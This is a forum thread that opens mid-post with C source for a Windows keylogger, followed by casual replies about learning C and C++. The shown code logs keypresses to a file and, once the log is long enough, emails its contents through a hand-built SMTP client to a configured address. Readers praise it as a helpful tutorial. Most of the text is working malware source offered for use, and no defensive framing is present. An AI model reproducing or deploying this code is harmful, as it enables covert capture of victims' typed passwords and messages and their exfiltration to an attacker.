fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("\r\n[CAPS LOCK]\r\n",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
```

```

}
}
} part 2 follows in next post
Code FILE *file;
file=fopen(FileName,"rb");
fseek(file,0,SEEK_END); //go to end
len=ftell(file); //get position at end (length)
if(len>=LogLength) {
fseek(file,0,SEEK_SET); //go to beg.
buf=(char *)malloc(len); //malloc buffer
freadindex=fread(buf,1,len,file); //read into buffer
buf[freadindex] = '\0'; //Extra bit I have to add to make it a sting
MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
fclose(file);
file=fopen(FileName,"w");
}

fclose(file);
//free (buf);

}
return EXIT_SUCCESS;
}

```

```

int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage) {
    SOCKET sockfd;
    WSADATA wsaData;
    FILE *smtpfile;

#define bufsize 300
    int bytes_sent; /* Sock FD */
    int err;
    struct hostent *host; /* info from gethostbyname */
    struct sockaddr_in dest_addr; /* Host Address */
    char line[1000];
    char *Rec_Buf = (char*) malloc(bufsize+1);
    smtpfile=fopen(SMTPLog,"a+");
    if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
        fputs("WSAStartup failed",smtpfile);
        WSACleanup();
        return -1;
    }
    if ( (host=gethostbyname(mailserver)) == NULL) {
        perror("gethostbyname");
        exit(1);
    }
    memset(&dest_addr,0,sizeof(dest_addr));
    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

    /* Prepare dest_addr */
    dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
    dest_addr.sin_port= htons(25); /* PORT defined above */

```

```

/* Get socket */

if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
    perror("socket");
    exit(1);
}
/* Connect !*/
fputs("Connecting...\n",smtpfile);

if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
    perror("connect");
    exit(1);
}
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"helo me.somepalace.com\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"MAIL FROM:<");
strncat(line,emailfrom,strlen(emailfrom));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"RCPT TO:<");
strncat(line,emailto,strlen(emailto));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"DATA\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
sleep(waittime);
strcpy(line,"To:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat(line,"Subject:");

```

```

strcat(line,emailsubject);
strcat(line,"\n");
strcat(line,emailmessage);
strcat(line,"\r\n.\r\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"quit\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
fclose(smtpfile);
#ifdef WIN32
closesocket(sockfd);
WSACleanup();
#else
close(sockfd);
#endif
}

```

DylansCPU - August 6, 2013, 1:05 pm

This is so helpful cant pick up on video tutorials for some reason easier to read imo

musa20 - April 19, 2017, 3:44 am

nic.....

Null - April 25, 2017, 9:41 am

I love how all the people who replied here are closed.

Russ. - April 25, 2017, 11:22 am

(Apr 25, 2017 09:41 AM)The Sage Wrote: [\[CITE\]](#) I love how all the people who replied here are closed.

I love how you gravedig.

Null - April 25, 2017, 11:30 am

(Apr 25, 2017 11:22 AM)Russ. Wrote: [\[CITE\]](#) I love how you gravedig.
this thread was on the first page bro.

Russ. - April 25, 2017, 11:33 am

(Apr 25, 2017 11:30 AM)The Sage Wrote: [\[CITE\]](#) this thread was on the first page bro.
Kinda sad. 6 days since the last reply and still on front page. (Last reply before you commented)

Null - April 25, 2017, 11:43 am

(Apr 25, 2017 11:33 AM)Russ. Wrote: [\[CITE\]](#) Kinda sad. 6 days since the last reply and still on front page. (Last reply before you commented)
there's posts from 12 days on first page..
seems like people are into .net more than C

Hoodie+ - April 25, 2017, 12:52 pm

(Apr 25, 2017 11:43 AM)The Sage Wrote: [\[CITE\]](#) there's posts from 12 days on first page..
seems like people are into .net more than C
Nubz, a kid can code in .NET :P

Spoiler [\(Click to View\)](#)

Don't be offended, it's a joke.

Null - April 25, 2017, 6:05 pm

(Apr 25, 2017 12:52 PM)Hoodie+ Wrote: [\[CITE\]](#) Nubz, a kid can code in .NET :P

Spoiler [\(Click to View\)](#)

Don't be offended, it's a joke.

C++ is harsh tho...

Just started C++ and Python this week :c

Hoodie+ - April 26, 2017, 2:36 am

(Apr 25, 2017 06:05 PM)The Sage Wrote: [\[CITE\]](#) C++ is harsh tho...

Just started C++ and Python this week :c

I would suggest you first learn C.

C++ will be much easier to grasp after you learn C.

The hard thing with C++ is that it has lots of features and it takes a long time to learn.

C has less features than C++ but can be described as harder because of the way it works, for example in C++ strings are just objection while in C they're char pointers and char arrays.

C is loves, C is life... :P

Null - April 26, 2017, 10:30 am

(Apr 26, 2017 02:36 AM)Hoodie+ Wrote: [\[CITE\]](#) I would suggest you first learn C.

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C is loves, C is life... :P

I did some C before i jump to C++ but i found C++ waaay easier.

why should i learn C when i will have to learn C++ anyway?

C is way harder and the syntax is shit xD

scanf and pritf vs cin and cout, and those format specifiers are a pain.

printf("%d",13); vs cout<<"13";

Hoodie+ - April 26, 2017, 11:53 am

(Apr 26, 2017 10:30 AM)The Sage Wrote: [\[CITE\]](#) I did some C before i jump to C++ but i found C++ waaay easier.

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C is way harder and the syntax is shit xD

scanf and printf vs cin and cout, and those format specifiers are a pain.

printf("%d",13); vs cout<<"13";

That's true but you will have a better understanding of how strings work in programs, how pointers work, static code e.g.

MaximumPain - *July 17, 2017, 2:43 pm*

GetAsyncKeyState... lmaooo im done okay :D